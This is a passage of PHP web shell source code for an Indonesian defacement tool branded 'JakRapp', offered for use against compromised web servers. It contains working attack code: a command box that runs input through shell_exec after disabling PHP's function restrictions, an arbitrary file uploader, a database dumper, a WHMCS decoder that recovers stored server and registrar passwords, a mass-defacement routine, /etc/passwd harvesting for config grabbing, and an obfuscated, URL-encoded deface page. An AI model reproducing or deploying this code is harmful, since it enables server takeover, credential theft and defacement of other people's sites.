503$jumper="fVJtb5swEP4rF4Rko7Ka7WMCpFLVfp20fWwrarA9PAFGtlmXVfvvuwtN1mjShEDmebl77kB3vYOkjLIdNHSDDKF6TLpRte7nY1KX0eOtoHNDmOWE1CdEkx3wNIxQgZ1s801HzoI0uhmd0iyDqoIigz2sEuaMYVtQVvPkznvnt/D1JEb681SKqGp8eHpQjLpU9sc5y3d5kJREIFgn2Q6Cjk20o24GO9rIC4Ru0hnFLwrrGTfriTOhYydWkOXMMxRZA3zzJszglRIBTx4+PMExFmzh1i1qeo7wRUsF7yr8m5By/IZ0XlpsKb2XB45IugTtwwXSuclcABbfih289HbQfGO0M/yUKXvFlUVPQ+BOwxlfo6Ozho9FQarZURfU4oGTJ2dbdgowyZEWG5YWiZUtcrKQQFn/iz6K6N2oBbs+O66ZwGkG2zV9HAfB1qb8b8UNuhhlJNyGxuOSaBf8WJOI45DNvIR+tYX87MbW71nslK82WiNdqb26orNxWLfr4a0CyLAOheU1/ans4d4tk4LNE5QSeq9NlewP1cU4l6Mk9X9IUQpZl62vGTXf138A";
504?>
505<html>
506<head>
507<!-- SEO Meta Tag -->
508<meta content='Hacked By JakRapp' name='description'/>
509<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
510<meta content='index,follow' name='robots'/>
511<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
512<meta content='website' name='generator'/>
513<meta content='general' name='rating'/>
514<!-- SEO Title Tag -->
515<title>Shell JakRapp</title>
516<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
517<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
518<meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
519<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
520<meta content='Hacked By JakRapp' name='description'/>
521<script type="text/javascript">
522function tukar(lama,baru){
523 document.getElementById(lama).style.display = 'none';
524 document.getElementById(baru).style.display = 'block';
525}
526</script>
527<style type="text/css">
528body{
529 background:#000000;;
530}
531a {
532text-decoration:none;
533}
534a:hover{
535border-bottom:1px solid #FF0000;
536}
537*{
538 font-size:11px;
539 font-family:Tahoma,Verdana,Arial;
540 color:#FFFFFF;
541}
542#menu{
543 background:#000000;
544 margin:8px 2px 4px 2px;
545
546}
547#menu a{
548 padding:4px 18px;
549 margin:0;
550 background:#c40909;
551 text-decoration:none;
552 letter-spacing:2px;
553 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
554}
555#menu a:hover{
556 background:#6a0707;
557 border-bottom:1px solid #c40909;
558 border-top:1px solid #c40909;
559}
560.tabnet{
561 margin:15px auto 0 auto;
562 border: 1px solid #c40909;
563}
564.main {
565 width:100%;
566}
567.gaya {
568 color: #FF0000;
569}
570.inputz{
571 background:#6a0707;
572 border:0;
573 padding:2px;
574 border-bottom:1px solid #c40909;
575 border-top:1px solid #c40909;
576}
577.inputzbut{
578 background:#6a0707;
579 color:#ff000;
580 margin:0 4px;
581 border:1px solid #444444;
582
583}
584.inputz:hover, .inputzbut:hover{
585 border-bottom:1px solid #FF0000;
586 border-top:1px solid #FF0000;
587}
588.output {
589 margin:auto;
590 border:1px solid #FF0000;
591 width:100%;
592 height:400px;
593 background:#000000;
594 padding:0 2px;
595}
596.cmdbox{
597 width:100%;
598}
599.head_info{
600 padding: 0 4px;
601 float:center;
602}
603.jaya{ font-family: ;}
604
605.j4kr4pp{
606 font-size:30px;
607 padding:0;
608 color:#444444;
609}
610.j4kr4pp_tbl{
611 text-align:center;
612 margin:0 4px 0 0;
613 padding:0 4px 0 0;
614 border-right:1px solid #c40909;
615}
616.phpinfo table{
617 width:100%;
618 padding:0 0 0 0;
619}
620.phpinfo td{
621 background:#6a0707;
622 color:#cccccc;
623padding:6px 8px;;
624}
625.phpinfo th, th{
626 background:#6a0707;
627 border-bottom:1px solid #c40909;
628font-weight:normal;
629}
630.phpinfo h2, .phpinfo h2 a{
631 text-align:center;
632 font-size:16px;
633 padding:0;
634 margin:30px 0 0 0;
635 background:#c40909;
636 padding:4px 0;
637}
638.explore{
639width:100%;
640}
641.explore a {
642text-decoration:none;
643}
644.explore td{
645border-bottom:1px solid #c40909;
646padding:0 8px;
647line-height:24px;
648}
649.explore th{
650padding:3px 8px;
651font-weight:normal;
652}
653.explore th:hover , .phpinfo th:hover{
654border-bottom:1px solid #FF0000;
655}
656.explore tr:hover{
657background:#6a0707;
658}
659.viewfile{
660background:#EDECEB;
661color:#000000;
662margin:4px 2px;
663padding:8px;
664}
665.sembunyi{
666display:none;
667padding:0;margin:0;
668}
669
670</style></head>
671<body onLoad="document.getElementById('cmd').focus();">
672<div class="main">
673<!-- head info start here -->
674<div class="head_info">
675<table ><tr>
676<td><table class="j4kr4pp_tbl"><tr><td><a href="?<?php echo "y=".$pwd; ?>&jak=about"><span class="j4kr4pp"><img src="http://kefiex.yu.tl/files/bnx.png"/></span></a></td></tr><br>
677<div id="menu" align="left">
678<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
679<td><!-- onMouseOver="this.focus();" --><nobr><input type="file" name="file" class="inputz" size="50">
680<input name="_upl" type="submit" id="_upl" class="inputz" value="Upload"></form></div></b></td></tr></table></td>
681<td><?php echo $buff; ?></td>
682</td>
683</tr>
684</tr></table>
685</div>
686<div id="menu" align="center">
687
688<font color=red size=2 face="TAHOMA">
689<p align="center" dir="ltr"> <hr><center>
690<font color="red" font size=3 > | <font color="white" font size=3 >
691<a href="?" style="text-decoration: none">
692Home </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
693<a href="?jak=phpinfo" style="text-decoration: none">
694Info </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
695<a href="?jak=sql" style="text-decoration: none">
696SQL1 </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
697<a href="?x=mysql" style="text-decoration: none">
698SQL2 </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
699<a href="?jak=cp" style="text-decoration: none">
700Cpanel Cracker </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
701<a href="?jak=jump" style="text-decoration: none">
702Jumping </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
703<a href="?jak=maling" style="text-decoration: none">
704Maling Script </a> <font color="white" font size=3 ></font>
705<font color="red" font size=3 > |</font>
706<br><hr><center>
707<font color="red" font size=3 > |</font>
708<a href="?jak=auto" style="text-decoration: none">
709Auto Wget </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
710<a href="?jak=config" style="text-decoration: none">
711Config Grabber </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
712<a href="?jak=wp2" style="text-decoration: none">
713Config Auto Get </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
714<a href="?jak=zonh" style="text-decoration: none">
715Zon-H </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
716<a href="?jak=mass" style="text-decoration: none">
717Mass Deface </a> <font color="white" font size=3 ></font>
718<font color="red" font size=3 >|</font>
719<br><hr><center>
720<font color="red" font size=3 >|</font>
721<a href="?jak=brute" style="text-decoration: none">
722Cp Brute </a> <font color="white" font size=3 ></font>
723<font color="red" font size=3 >|</font>
724<a href="?jak=finder" style="text-decoration: none">
725Admin Finder </a> <font color="white" font size=3 ></font>
726<font color="red" font size=3 > |</font>
727<a href="?jak=sym" style="text-decoration: none">
728Symlink </a> <font color="white" font size=3 ></font>
729<font color="red" font size=3 > |</font>
730<a href="?jak=has" style="text-decoration: none">
731Password Hash </a> <font color="white" font size=3 ></font>
732<font color="red" font size=3 > |</font>
733<a href="?jak=whmcs" style="text-decoration: none">
734Whmcs Decoder </a> <font color="white" font size=3 ></font>
735<font color="red" font size=3 > |</font>
736<a href="?jak=wpp" style="text-decoration: none">
737Wp Mass </a> <font color="white" font size=3 ></font>
738<font color="red" font size=3 > |</font>
739<br><hr><center>
740<font color="red" font size=3 >|</font>
741<a href="?jak=jomla" style="text-decoration: none">
742Jomla Mass </a> <font color="white" font size=3 ></font>
743<font color="red" font size=3 >|</font>
744<a href="?jak=jombla" style="text-decoration: none">
745Jombla</a> <font color="white" font size=3 ></font>
746<font color="red" font size=3 > |</font>
747<a href="?jak=wpmas" style="text-decoration: none">
748Wp Mass Manual </a> <font color="white" font size=3 ></font>
749<font color="red" font size=3 > |</font>
750<a href="?x=upload" style="text-decoration: none">
751Upload </a> <font color="white" font size=3 ></font>
752<font color="red" font size=3 > |</font>
753<a href="?x=shell" style="text-decoration: none">
754Shell </a> <font color="white" font size=3 ></font>
755<font color="red" font size=3 > |</font>
756<a href="?jak=crack" style="text-decoration: none">
757Crack All </a> <font color="white" font size=3 ></font>
758<font color="red" font size=3 > |</font>
759<hr>
760<font color="red" font size=3 >|</font>
761<a href="?jak=sken" style="text-decoration: none">
762Scan All Dir In Server </a> <font color="white" font size=3 ></font>
763<font color="red" font size=3 > |</font>
764<a href="?jak=vkill" style="text-decoration: none">
765Perl Symlink Helper </a> <font color="white" font size=3 ></font>
766<font color="red" font size=3 > |</font>
767<a href="?jak=cgi" style="text-decoration: none">
768CGI Telnet </a> <font color="white" font size=3 ></font>
769<font color="red" font size=3 > |</font>
770<a href="?jak=dump" style="text-decoration: none">
771Db Dump </a> <font color="white" font size=3 ></font>
772<font color="red" font size=3 > |</font>
773</td><hr></center>
774</tr></table></div>
775<div id="viewfile" align="left">
776<form method="post">
777<td><nobr><b>CMD</b></nobr></td>
778<td><!-- onMouseOver="this.focus();" --><nobr><input id="cmd" class="inputz" type="text" name="cmd" style="width:300px;" value="" />
779<input class="inputzbut" type="submit" value=" >> " style="width:50px;" />
780</form>
781
782
783<?php
784if( $_POST['_upl'] == "Upload" ) {
785 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
786 else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
787}
788?>
789<?php
790/*******************************************\
791| CMD linux DTT 2014
792
793\*******************************************/
794$x0f = "fopen";
795$x10 = "fwrite";
796$x11 = "function_exists";
797$x12 = "shell_exec";
798if (isset($_POST['cmd'])) {
799 $x0b = $x0f('php.ini', 'w');
800 $x0c = " disable_functions=none ";
801 $x10($x0b, $x0c);
802 if ($x11('shell_exec')) {
803 $x0d = $_POST['cmd'];
804 $x0e = $x12("$x0d");
805 echo "<div id=result>";
806 echo "<span class=Y><pre>$x0e</pre></span";
807 }
808 echo "</div>";
809}
810?>
811<center>
812<div id="menu" align="center">
813<?php
814if (isset($_GET['jak']) && ($_GET['jak'] == 'dump')) { ?>
815<form action="?jak=dump" method="post">
816<?php
817echo $head.'<p align="center">';
818echo '
819<table width=371 class=tabnet >
820<tr><th colspan="2">Database Dump</th></tr>
821<tr>
822 <td>Server </td>
823 <td><input class="inputz" type=text name=server size=52></td></tr><tr>
824 <td>Username</td>
825 <td><input class="inputz" type=text name=username size=52></td></tr><tr>
826 <td>Password</td>
827 <td><input class="inputz" type=text name=password size=52></td></tr><tr>
828 <td>DataBase Name</td>
829 <td><input class="inputz" type=text name=dbname size=52></td></tr>
830 <tr>
831 <td>DB Type </td>
832 <td><form method=post action="'.$me.'">
833 <select class="inputz" name=method>
834 <option value="gzip">Gzip</option>
835 <option value="sql">Sql</option>
836 </select>
837 <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
838 </form></center></table>';
839if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
840$date = date("Y-m-d");
841$dbserver = $_POST['server'];
842$dbuser = $_POST['username'];
843$dbpass = $_POST['password'];
844$dbname = $_POST['dbname'];
845$file = "Dump-$dbname-$date";
846$method = $_POST['method'];
847if ($method=='sql'){
848$file="Dump-$dbname-$date.sql";
849$fp=fopen($file,"w");
850}else{
851$file="Dump-$dbname-$date.sql.gz";
852$fp = gzopen($file,"w");
853}
854function write($data) {
855global $fp;
856if ($_POST['method']=='ssql'){
857fwrite($fp,$data);
858}else{
859gzwrite($fp, $data);
860}}
861mysql_connect ($dbserver, $dbuser, $dbpass);
862mysql_select_db($dbname);
863$tables = mysql_query ("SHOW TABLES");
864while ($i = mysql_fetch_array($tables)) {
865 $i = $i['Tables_in_'.$dbname];
866 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
867 write($create['Create Table'].";\n\n");
868 $sql = mysql_query ("SELECT * FROM ".$i);
869 if (mysql_num_rows($sql)) {
870 while ($row = mysql_fetch_row($sql)) {
871 foreach ($row as $j => $k) {
872 $row[$j] = "'".mysql_escape_string($k)."'";
873 }
874 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
875 }
876 }
877}
878if ($method=='ssql'){
879fclose ($fp);
880}else{
881gzclose($fp);}
882header("Content-Disposition: attachment; filename=" . $file);
883header("Content-Type: application/download");
884header("Content-Length: " . filesize($file));
885flush();
886
887$fp = fopen($file, "r");
888while (!feof($fp))
889{
890 echo fread($fp, 65536);
891 flush();
892}
893fclose($fp);
894}
895
896}
897elseif(isset($_GET['jak']) && ($_GET['jak'] == 'has'))
898 {
899$submit= $_POST['enter'];
900if (isset($submit)) {
901$pass = $_POST['password']; // password
902$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
903$hash = md5($pass); // md5 hash #1
904$md4 = hash("md4",$pass);
905$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
906$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
907$hash1 = sha1($pass); // sha1 hash #4
908$sha256 = hash("sha256",$text);
909$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
910$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
911}
912echo '<form action="" method="post"><b><table class=tabnet>';
913echo '<tr><th colspan="2">Password Hash</th></center></tr>';
914echo '<tr><td><b>Enter the word you want to encrypt:</b></td>';
915echo '<td><input class="inputz" type="text" name="password" size="40" />';
916echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
917echo '</td></tr><br>';
918echo '<tr><th colspan="2">Hash Result</th></center></tr>';
919echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
920echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
921echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
922echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
923echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
924echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
925echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
926echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
927echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
928}
929elseif(isset($_GET['jak']) && ($_GET['jak'] == 'whmcs'))
930{
931?>
932<form action="?y=<?php echo $pwd; ?>&jak=whmcs" method="post">
933
934<?php
935
936function decrypt ($string,$cc_encryption_hash)
937{
938 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
939 $hash_key = _hash ($key);
940 $hash_length = strlen ($hash_key);
941 $string = base64_decode ($string);
942 $tmp_iv = substr ($string, 0, $hash_length);
943 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
944 $iv = $out = '';
945 $c = 0;
946 while ($c < $hash_length)
947 {
948 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
949 ++$c;
950 }
951 $key = $iv;
952 $c = 0;
953 while ($c < strlen ($string))
954 {
955 if (($c != 0 AND $c % $hash_length == 0))
956 {
957 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
958 }
959 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
960 ++$c;
961 }
962 return $out;
963}
964
965function _hash ($string)
966{
967 if (function_exists ('sha1'))
968 {
969 $hash = sha1 ($string);
970 }
971 else
972 {
973 $hash = md5 ($string);
974 }
975 $out = '';
976 $c = 0;
977 while ($c < strlen ($hash))
978 {
979 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
980 $c += 2;
981 }
982 return $out;
983}
984
985echo "
986<br><center><font size='5' color='#FF0000'><b>--==[ WHMCS Decoder ]==--</b></font></center>
987<center>
988<br>
989
990<FORM action='' method='post'>
991<input type='hidden' name='form_action' value='2'>
992<br>
993<table class=tabnet style=width:320px;padding:0 1px;>
994<tr><th colspan=2>WHMCS Decoder</th></tr>
995<tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
996<tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
997<tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
998<tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
999<tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
1000<td> <INPUT class='inputzbut' type='submit' style='color:#FF0000;background-color:' value='Submit' name='Submit'></td>
1001</table>
1002</FORM>
1003</center>
1004";
1005
1006 if($_POST['form_action'] == 2 )
1007 {
1008 //include($file);
1009 $db_host=($_POST['db_host']);
1010 $db_username=($_POST['db_username']);
1011 $db_password=($_POST['db_password']);
1012 $db_name=($_POST['db_name']);
1013 $cc_encryption_hash=($_POST['cc_encryption_hash']);
1014
1015
1016
1017 $link=mysql_connect($db_host,$db_username,$db_password) ;
1018 mysql_select_db($db_name,$link) ;
1019$query = mysql_query("SELECT * FROM tblservers");
1020while($v = mysql_fetch_array($query)) {
1021$ipaddress = $v['ipaddress'];
1022$username = $v['username'];
1023$type = $v['type'];
1024$active = $v['active'];
1025$hostname = $v['hostname'];
1026echo("<center><table border='1'>");
1027$password = decrypt ($v['password'], $cc_encryption_hash);
1028echo("<tr><td>Type</td><td>$type</td></tr>");
1029echo("<tr><td>Active</td><td>$active</td></tr>");
1030echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
1031echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
1032echo("<tr><td>Username</td><td>$username</td></tr>");
1033echo("<tr><td>Password</td><td>$password</td></tr>");
1034
1035echo "</table><br><br></center>";
1036}
1037
1038 $link=mysql_connect($db_host,$db_username,$db_password) ;
1039 mysql_select_db($db_name,$link) ;
1040$query = mysql_query("SELECT * FROM tblregistrars");
1041echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
1042echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
1043while($v = mysql_fetch_array($query)) {
1044$registrar = $v['registrar'];
1045$setting = $v['setting'];
1046$value = decrypt ($v['value'], $cc_encryption_hash);
1047if ($value=="") {
1048$value=0;
1049}
1050$password = decrypt ($v['password'], $cc_encryption_hash);
1051echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
1052}
1053}
1054}
1055
1056?>
1057<?php
1058if (isset($_GET['jak']) && ($_GET['jak'] == 'mass')) { ?>
1059<form action="?jak=mass" method="post">
1060<?php ?>
1061<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
1062
1063<p class="style3">
1064
1065<span <ul>
1066
1067 <span class="style32">
1068 <span class="style39">
1069<span style="font-weight: 700;" class="style33">
1070 </span></p><br>
1071<span style="font-weight: 700;" class="style33">
1072 <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><br>
1073<br>
1074</center>
1075<div class="style31">
1076<center>
1077<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
1078<div class="style31">
1079[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
1080[+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
1081<input type='submit' name='execmassdeface' value='Execute'></div>
1082</form></td></center>
1083<?php
1084echo "<center><textarea rows='10' cols='100'>";
1085$defaceurl = $_POST['massdefaceurl'];
1086$dir = $_POST['massdefacedir'];
1087echo $dir . "
1088";
1089if (is_dir($dir)) {
1090 if ($dh = opendir($dir)) {
1091 while (($file = readdir($dh)) !== false) {
1092 if (filetype($dir . $file) == "dir") {
1093 $newfile = $dir . $file . "/jek.php";
1094 echo $newfile . "
1095";
1096 if (!copy($defaceurl, $newfile)) {
1097 echo "failed to copy $file...
1098";
1099 }
1100 }
1101 }
1102 closedir($dh);
1103 }
1104}
1105echo "</textarea></center>";
1106}
1107?>
1108<?php
1109// SHELL IDBTE4M V2
1110// BY ./KEFIEX404 IDBTE4M
1111set_time_limit(0);
1112error_reporting(0);
1113
1114$htcs = "
1115<html>
1116<head>
1117<!-- SEO Meta Tag -->
1118<meta content='Hacked By JakRapp' name='description'/>
1119<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
1120<meta content='index,follow' name='robots'/>
1121<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
1122<meta content='website' name='generator'/>
1123<meta content='general' name='rating'/>
1124<!-- SEO Title Tag -->
1125<title>Hacked By JakRapp</title>
1126<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
1127<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
1128<meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
1129<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
1130<meta content='Hacked By JakRapp' name='description'/>
1131<script src='http://code.jquery.com/jquery-latest.min.js'></script>
1132<script src='http://blogparts.giffy.me/0117/parts.js'></script><a
1133<cite>
1134<style>
1135body {background:black; color:#FFFFFF; text-decoration:none; font-family:Concert One; font-size:16px;}
1136img {opacity:0.5;}
1137img:hover {opacity:1;}
1138a {text-decoration:none; color:#FFFFFF;}
1139a:hover {text-decoration:none; color:#666666;}
1140</style>
1141</head>
1142<body onselectstart='return false' ondragstart='return false' oncontextmenu='return false' onLoad='writetext()'>
1143<Script Language='Javascript'>
1144<!-- Lol Many scripts -->
1145<!--
1146document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%62%79%20%4D%61%72%6B%65%74%61%63%74%69%63%6F%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%34%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%37%25%34%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%37%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%32%30%25%34%38%25%35%34%25%34%44%25%34%43%25%32%30%25%34%35%25%36%45%25%36%33%25%37%32%25%37%39%25%37%30%25%37%34%25%36%39%25%36%46%25%36%45%25%32%30%25%36%32%25%37%39%25%32%30%25%34%44%25%36%31%25%37%32%25%36%42%25%36%35%25%37%34%25%36%31%25%36%33%25%37%34%25%36%39%25%36%33%25%36%46%25%32%45%25%36%33%25%36%46%25%36%44%25%32%30%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%30%41%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%37%35%25%36%45%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%34%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%34%35%25%32%35%25%33%36%25%34%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%34%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%34%35%25%32%35%25%33%33%25%34%34%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%34%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%30%25%34%31%25%32%37%25%32%39%25%32%39%25%33%42%25%30%41%25%32%46%25%32%46%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%46%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%53%63%72%69%70%74%3E'));
1147//-->
1148</Script>
1149<p>
1150<p>
1151<br><br><br><br><br><br><br><br>
1152<b><font color='blue' face='consolas' size='4'>
1153<p align='center' class='style2'><font face='Trajan Pro' size='10' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='red'>Hacked By JakRapp</font><p><br><br>
1154<font color='blue' face='consolas' size='4'>
1155<p align='center' class='style2'><font face='Trajan Pro' size='4' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b>JakRapp ~ ./Jaka_Attacker ~ UstadzJaka ~ ./Zonkk ~ Jack D'Ripper ~ ./KLEMEZ<p></font>
1156<font color='blue' face='consolas' size='4'><br><br>
1157<center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
1158Pasukan Berani Mati | Indonesian Fighter Cyber
1159</font><p></center>
1160<center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
1161Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini
1162</font><p></center>
1163<center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
1164Jiwa Kegelapan Team</font></center>
1165<embed src='http://www.youtube.com/v/oWqWNMNFZlU&autoplay=1' type='application/x-shockwave-flash' wmode='transparent' width='1' height='1'></embed>
1166</body>
1167</html>
1168";
1169$f =@fopen ('jakrapp.html','w');
1170fwrite($f , $htcs);
1171$pg = basename(__FILE__);
1172
1173
1174$pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
1175$u = explode("/",$pageURL );
1176$pageURL =str_replace($u[count($u)-1],"",$pageURL );
1177
1178$pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
1179$u = explode("/",$pageFTP );
1180$pageFTP =str_replace($u[count($u)-1],"",$pageFTP );
1181?>
1182<?php
1183if (isset($_GET['jak']) && ($_GET['jak'] == 'config')) {
1184?>
1185<form action="?&jak=config" method="post">
1186<?php @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
1187echo '<form method="POST"><textarea cols="30" name="passwd" rows="10">'; $uSr=file("/etc/passwd"); foreach($uSr as $usrr) { $str=explode(":",$usrr); echo $str[0]."\n"; } ?>
1188</textarea><br>Your Folder Config Name : <input type="text" class="input" name="folfig" size=40 />
1189<select class="inp" title="Select Your Type File" name="type" size=""><option title="type txt" value=".txt">.txt</option><option title="type php" value=".php">.php</option><option title="type shtml" value=".shtml">.shtml</option><option title="type ini" value=".ini">.ini</option></select>
1190<input name="conf" size="80" class="ipt" value="Hajar..." type="submit"><br><br></form></center>
1191<?php @ini_set('html_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
1192if ($_POST['conf']) {
1193$folfig = $_POST['folfig']; $type = $_POST['type'];
1194$functions=@ini_get("disable_functions"); if(eregi("symlink",$functions)){die ('<blink>Maaf Bosq fitur Symlink masih di disabled :( </blink>');}
1195@mkdir($folfig, 0755);
1196@chdir($folfig);
